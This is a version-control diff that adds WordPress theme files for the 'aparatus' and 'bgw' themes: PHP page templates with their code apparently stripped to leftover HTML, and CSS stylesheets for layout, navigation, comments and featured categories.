web/wp-content/themes/aparatus/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,64 @@ + +
    + +
    +Your Search Produced these Results: +
    + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,65 @@ + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,55 @@ + +
    + + + +
    + + +
    + +
    + + + +
    + +
    + +
    +Page&after=
    '); ?> +
    + +
    About
    +
    + +
    + + + + + + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,289 @@ +/* CSS Document */ + +/* -------------------------------------------------------------- + + Theme Name: aparatus + Theme URI: http://fearlessflyer.com + Description: Theme by Michael Soriano + Author: Michael Soriano + Author URI: http://fearlessflyer.com + Version: 0.1 + default - maroon + +-------------------------------------------------------------- */ +* {padding:0; margin:0;} +body {background:#EDEDED; } +a {outline:none;} +a img {border:none;} + +.alignright {float:right;} +.alignleft {float:left;} +.alignnone {clear:both;} +.aligncenter {margin-left: auto; margin-right: auto;} + +blockquote {background:url(images/blockquote-bg.png) top left no-repeat; padding:5px 0 0 35px; font-family:georgia,'Lucida Grande','Lucida Sans Unicode'; font-style:italic;} + +img.alignright {display:inline;} +img.alignleft {display:inline;} +img.aligncenter {margin:0 auto; display:block;} +img.alignnone {clear:both;} + +#header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;} +#twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-maroon.png); width:218px; height:139px;} +#twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;} +a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#333333;letter-spacing:-2px; display:inline; margin:0px; padding:0;} + +#wrap {width:940px; padding:0 49px 0 49px; margin:0 auto; text-align:center; background:url(images/wrap-bg.gif) repeat-y; overflow:hidden;} + +#navigation {clear:both; background:url(images/nav-bar-temp.png) no-repeat; height:64px; position:relative; top:-6px;} +#page-nav {height:25px; font-family:verdana, arial, helvetica; font-size:10px; font-weight:bold; padding:0 0 0 0;} +#page-nav ul li {float:left; list-style:none; padding:5px 25px 0 10px; display:block;} +#page-nav ul li a {text-decoration:none; color:#FFFFFF;} +#page-nav ul li a:hover {color:#999999;} +#page-nav ul li#welcome {padding-left:10px; padding-right:25px;} +#page-nav ul li#welcome a {color:#000000;} +#page-nav ul li#welcome a:hover {color:#750000;} +#page-nav ul li#welcome.current_page_item2 {background:url(images/page-tab.gif) no-repeat top right #b0b0b0; height:25px; color:#000000;} +#login {float:right; padding:3px 45px 0 0; text-transform:uppercase; background:url(images/user-silhouette.png) no-repeat; background-position:89px 0;} +#login a {color:#000000; text-decoration:none;} +#login a:hover {color:#750000;} + + + +#nav2, #nav2 ul{padding: 0; float:left; list-style: none;} +#nav2 {padding:0; float:left;} +#nav2 a {display:block; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; font-size:14px;} +#nav2 li {float:left; line-height:27px; padding:0 6px 0 6px; margin-right:3px; } + +#nav2 li a:hover {background: none;} +#nav2 li ul {position:absolute; width: 15em; left: -999em; padding-top:1px;} +#nav2 li:hover ul, #nav2 li.sfhover ul {left:auto; z-index:1000;} +#nav2 li ul.children li {background: #FFFFFF; border-bottom:1px solid #dedbd1; border-left:1px solid #dedbd1; border-right:1px solid #dedbd1; line-height:28px; width:15em;} +#nav2 li:hover, #nav2 li.hover {position: static;} +#nav2 li ul ul {margin: -29px 0 0 15em;} +#nav2 li:hover ul ul, #nav2 li.sfhover ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul {left: auto;} +#nav2 li:hover ul ul, #nav2 li:hover ul ul ul, #nav2 li.sfhover ul ul, #nav2 li.sfhover ul ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul, #nav2 li li li.sfhover ul {left: auto;} + +#cat-nav {clear:both; padding:0 0 0 7px;} +#cat-nav ul li.cat-item {background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #999; border-right:1px solid #999; border-left:1px solid #999;} + +#cat-nav ul li.cat-item a {color:#750000; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item a:hover {color:#000000;} +#cat-nav ul li.cat-item.current-cat {background:url(images/cat-nav-current-bg.png) repeat-x;} +#cat-nav ul li.cat-item.current-cat a {color:#FFFFFF; text-shadow:none;} +#nav2 li ul.children li.cat-item.current-cat {background:#ffffff;} +#nav2 li ul.children li.cat-item.current-cat a{color:#750000; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item.current-cat ul.children li a{color:#750000; text-shadow:0 1px 0 #fff;} + +/*single*/ +.main-container{width:590px; overflow:hidden; margin:20px 20px 20px 0; float:left; text-align:left; font-family:Arial, Helvetica, sans-serif; font-size:13px; position:relative;} +.main-container a {color:#750000; text-decoration:none;} +.main-container a:hover {color:#666666; text-decoration:underline;} + +.title-area {padding:15px 10px 8px 10px; color:#750000; font-size:48px; text-transform:capitalize; background:#EEEEEE; border:1px solid #DDDDDD; margin-bottom:25px; } + +.retweet-btn-small {float:right; position:relative; top:6px; left:22px;} +.retweet-btn {float:right; padding:2px 3px 0 5px;} +.post-title {font-family:helvetica, arial; letter-spacing:-1px; font-size:24px; font-weight:bold; line-height:26px; margin-bottom:15px; text-transform:capitalize;} +.post-title a {text-decoration:none; color:#333333;} +.post-title a:hover {color:#750000; text-decoration:underline;} +.post-title-big {font-size:48px; font-weight:normal; line-height:38px; margin-bottom:15px; text-transform:capitalize; text-indent:-8px;} +.post-title-big a {text-decoration:none; color:#333333;} +.post-title-big a:hover {text-decoration:none;} +.post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; margin-bottom:15px; } +img.thumbs-in-archive {float:right; padding:5px; border:1px solid #CCCCCC; margin:1px 0 0 15px;} +.post-excerpt {line-height:20px; height:85px; overflow:hidden; margin-bottom:22px;} +.post-content {clear:both; line-height:24px; margin-bottom:30px; overflow:hidden;} +.post-content a {background:#EEEEEE; text-shadow:0 1px 0 #fff;} +.post-content ol {padding:10px 0 10px 40px;} +.post-content ol li ol {padding-left:20px;} +.post-content ol li ul {padding-left:20px;} +.post-content ul {padding:10px 0 10px 40px;} +.post-content ul li ol {padding-left:20px;} +.post-content ul li ul {padding-left:20px;} +.post-content p {padding:0 0 15px 0;} +.post-content h1, .post-content h2, .post-content h3, .post-content h4, .post-content h5, .post-content h6 {font-size:24px; font-weight:normal; line-height:30px; padding-bottom:10px;} + +.wp-caption {padding:8px 3px 0px 3px; border:1px solid #eeeeee; text-align:center; margin:0 auto;} +.wp-caption.alignright {margin:8px 0 5px 15px;} +.wp-caption.alignleft {margin:8px 15px 5px 0;} +.wp-caption.aligncenter{clear:both; margin:15px auto; display:block; } +.wp-caption.alignnone {clear:both; margin:15px auto; display:block; } +p.wp-caption-text {text-align:center; font-family:georgia; font-style:italic; font-size:11px; line-height:13px;} + +.post-content img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content a img.alignnone {clear:both; margin:10px auto; display:block; } + +.post-content p img.alignright {display:inline; margin:20px 0 5px 20px;} +.post-content p img.alignleft {display:inline; margin:20px 20px 5px 0;} +.post-content p img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content p a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content p a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignnone {clear:both; margin:10px auto; display:block; } + +#page-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; margin:5px 0 30px 0; clear:both;} +#page-links a {padding:2px 4px; text-decoration:none; color: #ffffff; background-color: #750000; border: 1px solid #750000; text-shadow:none; } +#page-links a:hover {border: 1px solid #750000; background:#FFFFFF; color:#333333;} + +.author-box { background:#eee; border:1px solid #DDDDDD; padding:20px; margin-bottom:30px;} +.author-box img.avatar {float:left; border:1px solid #ccc; padding:3px; margin:1px 10px 0 0;} +.author-box .author-name {padding-bottom:0px; font-style:italic; font-weight:bold; font-size:24px; color:#750000;} +.author-box .author-description {font-family:verdana, arial, helvetica; font-size:11px; line-height:16px; color:#666666;} +.author-box .author-links {margin:14px 0 2px; font-family:georgia, arial, helvetica; text-transform:uppercase; font-size:11px; border-top:1px dashed #ccc; padding-top:14px;} +.author-box-small { background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px; text-shadow:0 1px 0 #fff;} + +.social-bar {background:url(images/spread-the-word.png) no-repeat top left; height:63px; text-align:right; margin:0 0 30px 0; position:relative;} +ul#social-btns {position:absolute; left:299px;} +ul#social-btns li {float:left; height:63px; list-style:none;} +ul#social-btns li a {height:63px; background:url(images/social-sprites.png); display:block; text-indent:9999px;} +ul#social-btns li a#delicious {width:68px; background-position:0 -66px;} +ul#social-btns li a:hover#delicious {width:68px; background-position:0 0;} +ul#social-btns li a#digg {width:52px; background-position:-68px -66px;} +ul#social-btns li a:hover#digg {width:52px; background-position:-68px 0;} +ul#social-btns li a#stumbleupon {width:58px; background-position:-120px -66px;} +ul#social-btns li a:hover#stumbleupon {width:58px; background-position:-120px 0;} +ul#social-btns li a#technorati{width:58px; background-position:-178px -66px;} +ul#social-btns li a:hover#technorati{width:58px; background-position:-178px 0;} +ul#social-btns li a#twitter {width:54px; background-position:-236px -66px;} +ul#social-btns li a:hover#twitter {width:54px; background-position:-236px 0;} +/*comments*/ + +#comments {padding:0 0 35px 0; } +#comments h3{text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333;} +img.avatar {float:left; padding:3px; border:1px solid #ccc; margin:0 10px 0 0;} +cite.fn a {font-family:georgia; font-style:normal; text-transform:uppercase; padding:0; color:#333333; text-decoration:none; font-size:11px;} +.comment-author {padding:0; line-height:14px;} +.comment-meta {font-family:'Trebuchet MS', verdana; font-size:11px; color:#666666; line-height:14px; padding-bottom:5px;} +.comment-meta a {color:#750000; font-weight:normal; text-decoration:none;} +.comment-body {margin-bottom:20px; padding:20px 20px 5px 20px; font-style:italic; font-family:'Lucida Grande','Lucida Sans Unicode','Trebuchet MS',verdana,georgia; overflow:hidden;} + +.comment-body p a {color:#750000; font-weight:bold; text-decoration:none;} +.comment-body p a:hover{text-decoration:underline;} +li.comment.even {background:#fff; border:1px solid #DDDDDD; margin-bottom:20px;} +li.comment.odd {background:#eee; border:1px solid #DDDDDD; margin-bottom:20px;} +ul.commentlist li {list-style:none;} +li.parent {padding-bottom:10px;} +.commentlist ul.children {margin:20px;} +.comment-meta .commentmetadata p a {color:#21759B; } +.reply {clear:both; border-top:1px dashed #ccc; padding-top:7px; margin-top:12px; text-align:right;} +a.comment-reply-link {color:#21759B; font-family:verdana; font-size:11px; padding:0 0 0 19px; background:url(images/arrow-135-medium.png) left no-repeat; } + +/*response*/ +h3#response-title {text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333; padding:15px 0 35px 0; } +h3#response-title a {color:#000000; text-decoration:none; text-transform:capitalize;} +a#cancel-comment-reply-link {padding:5px; background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; text-transform:uppercase; text-decoration:none;} +#commentform {padding:45px 25px 25px 25px; background:#fff; border:1px solid #DDDDDD; margin-bottom:25px;} +#commentform p {padding-bottom:5px;} +.comment-form-input-fields {padding:5px; margin-bottom:10px;} +.comment-form-labels {font-family:rockwell,georgia; font-weight:bold; color:#FFFFFF; width:162px; font-size:14px; padding:5px; text-transform:uppercase; background:url(images/comment-labels.gif) no-repeat top right #2b2b2b; } +.comment-form-labels small {font-family:Verdana, Arial, helvetica; font-size:9px; font-weight:normal;} +input.send-comment {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; padding:5px;} + +/*snarfer specific*/ + +h3.tab-bars {clear:both; background:url(images/cat-nav-bg.png) repeat-x; height:22px; border:1px solid #e9e9e9; padding:5px 0 0 7px; margin-bottom:25px; } +h3.tab-bars a {font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; line-height:16px; font-size:14px; text-shadow:0 1px 0 #fff; color:#750000;} +h3.tab-bars a:hover {text-shadow:none; color:#000000;} +.post-container {width:285px; float:left;} +.post-container.odd {margin-right:20px;} +.post-container .post-title-sm {font-size:17px; padding-bottom:10px; text-transform:capitalize; font-weight:bold;} +.post-container .post-title-sm a {text-decoration:none; color:#333333; } +.post-container .post-title-sm a:hover {text-decoration:underline; color:#750000;} +.post-container .post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; padding:0 0 5px 0; margin:0;} +.post-container img.thumbs {padding:5px; border:1px solid #CCCCCC; margin-bottom:10px;} +.post-container .post-excerpt-small {overflow:hidden; height:65px; font-size:12px; line-height:20px; margin-bottom:10px;} +.post-container .continue {background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px;} +.post-container .continue a {font-family:verdana, arial, helvetica; font-weight:bold; font-size:10px; color:#666666; text-decoration:none; text-shadow:0 1px 0 #fff; } +.post-container .continue a:hover {text-decoration:underline;} +#view-all {float:right; padding: 2px 4px; margin:20px 0 20px 0; background:#eee; border:1px solid #DDDDDD;} +#view-all a {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; color: #000000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#view-all a:hover {text-decoration:underline;} + +/*sidebar*/ +#sidebar {width:330px; min-height:700px; overflow:hidden; float:left;} +#searchform {height:40px; background:#e5e5e5; text-align:left; margin-bottom:5px; border-bottom:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD;} +input.inputs {margin:8px 0 0 24px;} +input.go {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; } +#twitter-entry {background:url(images/twitter.gif); width:331px; height:91px; margin-bottom:10px;} +#twitter-entry p {font-family:verdana, helvetica, arial; font-size:11px; text-align:left; padding:20px 5px 0 100px; text-shadow:0 1px 0 #fff;} +#twitter-entry a {color:#750000; text-decoration:none;} +#twitter-entry a:hover {text-decoration:underline;} +#adblock-big {padding:15px 10px 15px 10px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD;} +#adblock-small {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:20px 0 10px 28px; overflow:hidden; margin-bottom:20px;} +#adblock-small ul li {float:left; list-style:none; padding:10px 24px 10px 0;} +.sidebar-row{padding:25px 20px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD; text-align:left; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px; text-shadow:0 1px 0 #fff;} +.sidebar-row h3 {font-size:32px; padding-bottom:10px;} +.sidebar-row ul {padding:0 10px 0 10px;} +.sidebar-row ul li{list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-maroon.gif) no-repeat; background-position:0 9px; padding-left:20px;} +.sidebar-row ul.children li {border-bottom:none;} +.sidebar-row a {color:#000000; text-decoration:none;} +.sidebar-row a:hover {text-decoration:underline; color:#750000;} +.sidebar-row #calendar_wrap {background:#ffffff; border:1px solid #DDDDDD; padding:25px;} +.sidebar-row #calendar_wrap caption {font-weight:bold; padding-bottom:25px; font-size:20px; font-family:helvetica; text-shadow:0 1px 0 #fff;} +.sidebar-row table#wp-calendar {border-collapse:collapse; width:100%; text-align:center;} + +/*tabbed-menu*/ +#tabbed-container {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:16px 0 20px 16px; height:364px; margin-bottom:20px; text-align:left; color:#666666; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px;} +ul.mootabs_title {list-style-image: none; list-style-type: none; padding: 0px; height: 24px; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; color:#750000; text-decoration:none; line-height:16px; font-size:14px; letter-spacing:-1px; text-shadow:0 1px 0 #fff;} +ul.mootabs_title li {float: left; display:block; padding:5px 7px 0 7px; height:22px; line-height:16px; margin-right:4px; cursor: pointer; background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD; border-bottom:1px solid #CCCCCC;} +.mootabs_title li.active { background:url(images/cat-nav-current-bg.png); color:#FFFFFF; text-shadow:none; border:1px solid #750000; } +.mootabs_panel {display: none; position: relative; width:100%; top: 12px; clear: both; overflow: hidden;} +.mootabs_panel p {font-family:Arial, Helvetica, sans-serif; padding:25px; text-align:left;} +.mootabs_panel.active { background-color: #fff; display: block;} + +/*popular posts*/ +#Popular {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Popular a{text-decoration:none; color:#666666;} +#Popular a:hover{text-decoration:underline; color:#000000;} +#Popular ul{padding:0 10px 0 0;} +#Popular ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-maroon.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*recent comments*/ +#RecentComments {padding:15px 25px 25px 25px; width:240px; font-weight:bold; color:#000000; border:1px solid #DDDDDD;} +#RecentComments a{text-decoration:none; color:#666666; font-weight:normal; padding-left:5px;} +#RecentComments a:hover{text-decoration:underline; color:#000000;} +#RecentComments ul{padding:0 10px 0 0;} +#RecentComments ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-maroon.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*tag cloud*/ +#Tags {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Tags a {text-decoration:none; color:#666666;} +#Tags a:hover {text-decoration:underline; color:#000000;} + +/*page-navi*/ + +.wp-pagenavi {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.wp-pagenavi a, .wp-pagenavi a:link { padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #750000; color: #ffffff; background-color: #750000;} +.wp-pagenavi a:visited {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #750000; color: #ffffff; background-color: #750000;} +.wp-pagenavi a:hover {border: 1px solid #750000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi a:active {padding:2px 4px; margin:2px; text-decoration: none; border: 1px solid #750000; background-color: #FFFFFF;} +.wp-pagenavi span.pages {padding: 2px 4px; margin: 2px; color: #000000; background:#eee; border:1px solid #DDDDDD; text-shadow:0 1px 0 #fff;} +.wp-pagenavi span.current {padding: 2px 4px; margin: 2px; font-weight: bold; background:#eee; border:1px solid #DDDDDD;} +.wp-pagenavi span.extend {padding: 2px 4px 2px 4px; margin: 2px; border: 1px solid #000000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi span.current a.page{color:#FFFFFF; } +.next-prev-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.next-prev-links a {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #750000; color: #ffffff; background-color: #750000;} + + + + +/*footer*/ +#footer {height:106px; clear:both; padding:40px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/footer-bg.gif) no-repeat top left; position:relative; +} +#logo-footer {text-transform:uppercase; color:#333333; font-size:30px; display:block; margin:18px 7px 2px 0; padding:0; clear:both; text-align:right;} +#page-nav-footer {float:right; text-align:right;} +#page-nav-footer ul li {float:left; list-style:none; line-height:8px; padding:0 8px 2px 8px; margin-bottom:3px; background:url(images/credits-sep.png) no-repeat top left;} +#page-nav-footer ul li.first {background:none;} +#page-nav-footer ul li a {font-family:verdana, helvetica, arial; font-size:11px; color:#750000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#page-nav-footer ul li a:hover {text-decoration:underline;} +#credits {display:block; padding:2px 7px 0 0; clear:both; font-family:georgia; font-size:11px; text-shadow:0 1px 0 #fff; display:block; text-align:right;} +#credits a{color:#000000; text-decoration:none;} +#credits a:hover {color:#666666;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/tabbed-container.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/tabbed-container.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,26 @@ +
    + +
    +
      +
    • Popular
    • +
    • Recent Comments
    • +
    • Tags
    • +
    + + + +
    + + + +
    +
    + + +
    +
    +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/tag.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/tag.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ + +
    + +
    +Posts under Tag: +
    + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ + + +
    + +

    Error 404 - Not Found.

    + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ + +
    +
    + + + +

    Archive for the '' Category

    + +

    Posts Tagged ''

    + +

    Archive for

    + +

    Archive for

    + +

    Archive for

    + +

    Author Archive

    + +

    Blog Archives

    + + +
    +

    +
    + Posted by on +
    +
    + +
    +
    +
    +
    + + +
    + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ + +

    This post is password protected. Enter the password to view comments.

    + + + + + +

    to “

    + +
      + +
    + + + + comment_status) : ?> + + + + +

    Comments are closed.

    + + + + + +comment_status) : ?> + +
    + +

    + +
    + +
    + + +

    You must be logged in to post a comment.

    + + +
    + + + +

    Logged in as . Log out »

    + + + +

    /> +

    + +

    /> +

    + +

    +

    + + + + + +

    + +

    + +

    +ID); ?> + + + + + +
    + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/css/comments.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/css/comments.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,198 @@ +/* Begin Comments*/ + +.commentlist { +padding: 0px; +margin: 0px 0px 0px 27px; +width: 420px; +list-style-image: none; +list-style-type: none; +float: left; +} + +.commentlist li { + font-weight: bold; + width: 420px; + display: block; + padding: 0px 0px 45px 0px; + margin: 0px; + list-style-image: none; + list-style-type: none; + float: left; + border: 1px solid #000; + margin-bottom: 20px; + } + +.commentlist li div { + width: 420px; + display: block; + margin: 0px; + padding: 10px; + float: left; +} + +.commentlist li .avatar { + float: left; + border: 1px solid #eee; + padding: 2px; + border: 5px solid #3E4C49; + + } + +.commentlist cite { + font-size: 18px; + float: left; + font-style: normal; + margin-left: 10px; + margin-right: 6px; + margin-top: 5px; + font-weight: normal; + } + +.says { +display: none; +} + +.commentlist p { + font-weight: normal; + line-height: 1.5em; + text-transform: none; + display: block; + float: left; + width: 90%; + margin-left: 3%; + } + + +#commentform p { +clear: both; + } + +.alt { + margin: 0; + padding: 10px; + } + +.nocomments { + text-align: center; + margin: 0; + padding: 0; + } + +.commentlist .children li { + width: 90%; + display: block; + margin: 0px; + border: 1px solid #262D2B; + overflow: hidden; +} + +.commentlist .children li div { +width: 97%; +padding: 3%; +} + +.commentlist .commentmetadata { + font-weight: normal; + float: left; + margin: 5px 0px 0px 0px; + display: block; + clear: both; + width: 90%; + margin-left: 3%; + } + +.commentlist .vcard, .commentlist .children .comment-author, .commentlist .children .vcard, .commentlist .commentmetadata, .commentlist .children .comment-author, .commentlist .children .comment-meta { + width: 100%; + padding: 0px !important; +} + +.commentlist .reply, .commentlist .children .reply { + float: right; + width: 54px; + height: 22px; + margin-bottom: 0px; + padding: 0px; + margin-right: 10px; + font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif; +} + +.commentlist .reply a:link, .commentlist .reply a:hover, .commentlist .children .reply a:link, .commentlist .children .reply a:hover { + width: 39px; + height: 17px; + display: block; + color: #fff; + font-size: 8px; + text-transform: lowercase; + font-weight: normal; + padding: 5px 0px 0px 15px; + letter-spacing: 1px; background: #B40000; +} + +.commentlist .children li { +padding-bottom: 10px; +float: right; +} + +.commentlist .children li ul li { +padding-bottom: 10px; +} + +#respond { +margin-top: 20px; +margin-left: 20px; +float: left; +background-image: none; +} + +.commentlist #respond h3, .commentlist #respond a { +margin-left: 28px; +} + +#comments { +line-height: 30px; +margin-left: 25px; +} + +.children { +clear: both; +} + +.children .commentmetadata, .children .vcard { + background-image: none; +} + +.children textarea { +width: 90% !important; +} + +.children input { +width: 80% !important; +} + +#cancel-comment-reply-link { +display: block; +width: 144px; +height: 21px; +padding: 5px 0px 0px 23px; +font-weight: normal; +color: #84878E; +font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif; +background: #4683DD; +} + +#respond div { +background-image: none; +} + +#submit { +width: 120px !important; +} +* html .commentlist, * html .commentlist li, * html .commentlist li div { + width: 500px; +} +textarea#comment { + width: 420px; +} + + +/* End Comments */ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/css/featuredcats.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/css/featuredcats.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,114 @@ +.feat-cat-entry { + background-color: #F7F7F7; + border: 1px solid #d5d5d5; + margin-top: 0px; + margin-right: 0px; + margin-bottom: 3px; + margin-left: 0px; + display: block; + clear: both; + height: auto; + width: auto; + padding-top: 3px; + padding-right: 3px; + padding-bottom: 0px; + padding-left: 3px; +} +.feat-cat-entry h3 { + margin: 0px; + clear: both; + display: block; + padding-top: 5px; + padding-right: 8px; + padding-bottom: 5px; + padding-left: 8px; + font-size: 16px; + color: #FFFFFF; + font-weight: bold; + text-transform: capitalize; + height: auto; + width: auto; + background-color: #2F98CA; + position: relative; + letter-spacing: 1px; + border: 3px solid #2B89B7; +} +.feat-cat-entry h3#blue { + background-color: #2663A1; +} +.feat-cat-entry h3#red { + background-color: #990000; +} +.feat-cat-entry h3#green { + background-color: #006633; +} + +.feat-cat-meta { + clear: both; + padding-top: 5px; + padding-right: 5px; + padding-bottom: 5px; + padding-left: 5px; + height: auto; + width: auto; + display: block; + margin: 0px; +} +.feat-cat-img { + float: left; + margin-right: 5px; + border: 1px solid #D5D5D5; +} +.feat-cat-img img { + border: 2px solid #E6E6E6; +} +.feat-cat-meta h1 { + font-size: 1em; + color: #000000; + text-decoration: none; + padding: 0px; + width: 85%; + height: auto; + float: left; + display: block; + line-height: 25px; + margin: 0px; + letter-spacing: 1px; + font-weight: bold; +} +.feat-cat-meta h1 a { + color: #000000; + text-decoration: none; + font-weight: bold; + +} +.feat-cat-meta h1 a:hover { + font-weight: bold; + text-decoration: underline; + color: #2B89B7; + +} +.feat-cat-date { + font-size: 12px; + text-decoration: none; + color: #333333; + text-transform: capitalize; + display: block; + padding: 0px; + height: auto; + line-height: 22px; + margin: 0px; + float: left; + width: 